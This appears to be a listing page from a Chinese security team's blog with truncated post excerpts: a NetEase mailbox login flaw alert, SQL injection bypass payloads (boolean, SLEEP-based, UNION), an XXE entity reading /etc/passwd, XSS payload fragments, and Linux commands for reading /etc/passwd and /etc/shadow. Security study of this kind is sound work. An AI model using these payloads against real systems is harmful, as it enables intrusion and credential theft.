14x security team_第22页_Welcome to visit friends

漏洞预警：某逻辑查询接口设计缺陷导致网易大量邮箱账号可任意登陆

漏洞预警：某逻辑查询接口设计缺陷导致网易大量邮箱账号可任意登陆作者：0x80 ...

2019-05-05/ 917 次浏览/ 核心成员

三种注入方式的盲探绕过测试

三种注入方式的盲探绕过测试布尔盲注:' AND 6109=6109 AND 'eHNv'='eHNy延迟注入:' AND (SELECT * FROM (SELECT(SLEEP(5)))联合查询:' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6b71,0x6e5a67744172494e4e6342744c70784a716e674855,NULL,NUL...

2019-05-03/ 1063 次浏览/ 网络安全

浏览器,flash常用的XSS调用远程代码执行，实体注入（需要配合Charles分析）

<!ENTITY test SYSTEM "file:///etc/passwd"> encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src=""),b:"') ?debug=(function()%7Blocation.href%3D'javascr...

2019-05-03/ 1002 次浏览/ 网络安全

kail2019 ISO msf5

kail2019 ISO msf5 :kail2019:https://images.offensive-security.com/kali-linux-2019.1a-amd64.iso.torrent...

2019-05-03/ 1342 次浏览/ 网络安全

linux常用命令

mkdir cat /etc/passwd（任意文件读取）cat /etc/shadow（有条件）touchps -autoprm shoudown -h nowsu roothistory !ID （比较好用）find / -name find / -name a*find /-name he* | grep wotar -czvf ver.gz vertar -zxvf /ho...

2019-05-03/ 856 次浏览/ 网络安全